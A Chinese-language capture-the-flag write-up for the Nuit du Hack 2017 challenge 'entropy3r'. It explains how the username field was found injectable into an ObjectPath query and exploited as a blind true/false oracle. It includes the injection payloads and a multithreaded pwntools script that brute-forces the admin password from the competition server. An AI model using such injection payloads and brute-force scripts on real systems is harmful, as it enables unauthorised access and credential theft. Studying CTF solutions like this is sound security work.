nhdctf 2017 'entropy3r'

这道题最后发现其实不难，主要是一开始思路完全被误导了。看到提醒是 exploit，以为是 pwn 类型的题目，要找 溢出或者 leak 方面的漏洞。再加上程序有个 debug 选项，可以打印出很多信息，就往 debug 打印出的信息那里去想了。

这个程序 register 的时候，会对你的密码进行强度评估，如果开了 debug，会把评估强度的算法的内部数据结构给打印出来。因为看到另外一题 client 用到了一个叫 zxcvbn 的库，去网上搜了一下，发现正好和这道题 debug 打印出的东西很类似。发现这道题原来是调用了这个https://github.com/dwolfhub/zxcvbn-python

然后尝试去发现这个库有没有什么漏洞，没有找到。register 的时候输入 admin 会提示已经被注册过。然后一次偶然发现用户名输入 ['a', 'b', 'c']会报异常

```
~ » register
Registration Form
~~~~~~~~~~~~~~~~~

Username # ['a', 'b', 'c']
objectpath exception : SyntaxError: Expected ']', got (name)
```

网上搜索了一下 objectpath，发现程序用的是这个库，http://objectpath.org/reference.html

```
~ » register
Registration Form
~~~~~~~~~~~~~~~~~

Username # admin' or '1' is '1
ERROR : User admin' or '1' is '1 already exists !
```

判断出了程序结构，是在 username 两边加入单引号，然后程序会调用 $..*[@.username is 'admin']这样的来判断注册的用户名是否存在。

然后拿admin' or '1' is '1去尝试了 auth，但是不行。突然想到 register 这里可以盲注，利用放回结果是 already exists 还是 OK，来判断执行结果的真假

```
~ » register
Registration Form
~~~~~~~~~~~~~~~~~

Username # admin' and len($..*[@.password][0]) > 0 and '1' is '1
ERROR : User admin' and len($..*[@.password][0]) > 0 and '1' is '1 already
exists !
~ »
```

发现存在 password 字段和 flag 字段，然后就是写脚本爆破了。本地连上去速度太慢，放在法国的 vps 跑的。一开始速度并没有提高多少，后来 melody 发现如果判断失败的话，直接断开连接重连比程序返回运算结果要来的快很多。

最后的脚本，我还把它改成多线程版的，但是发现没有比单线程快，可能和线程的数量，建立的连接的数目还有关系。

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import threading, time
import sys, os, re
import string

def debug():
    p.sendline("debug")


def auth(user, password):
    p.sendline("auth")
    p.sendlineafter("Login", user)
    p.sendlineafter("Password", password)

class myThread(threading.Thread):
    def __init__(self, index):
        threading.Thread.__init__(self)
        self.i = index
        self.p = remote('entrop3r.quals.nuitduhack.com', 31337)
    def run(self):
        self.bruteforce(self.i)
    def register(self, user):
        self.p.sendline("register")
        self.p.sendlineafter("Username", user)
        res = self.p.recvline()
```

```
        if res.find("already exists") >= 0:
            return True
        elif res.find("OK") >= 0:
            self.p.close()
            self.p = remote('entrop3r.quals.nuitduhack.com', 31337) #这里直接断开连接重连
            return False

    def bruteforce(self, i):
        flag = False
        print "current i:", i
        for c in string.printable:
            user = "admin' and slice($..*[@.password][0], [%d,%d]) is '%c' and '1' is '1" % (i, i+1, c)
            res = self.register(user)
            if res:
                password[i] = c
                print "index %d is:%c" % (i, c)
                flag = True
                self.p.close()
                break

        if not flag:
            raise Exception

threads = []
pass_len = 76
i = 0
password = {}
for i in xrange(0, 76):
    thread = myThread(i)
    thread.start()
    threads.append(thread)

for t in threads:
    t.join()
password = ''.join([ x[1] for x in sorted(password.items(), key=lambda x: x[0])])
print "result:", password

p.interactive()
```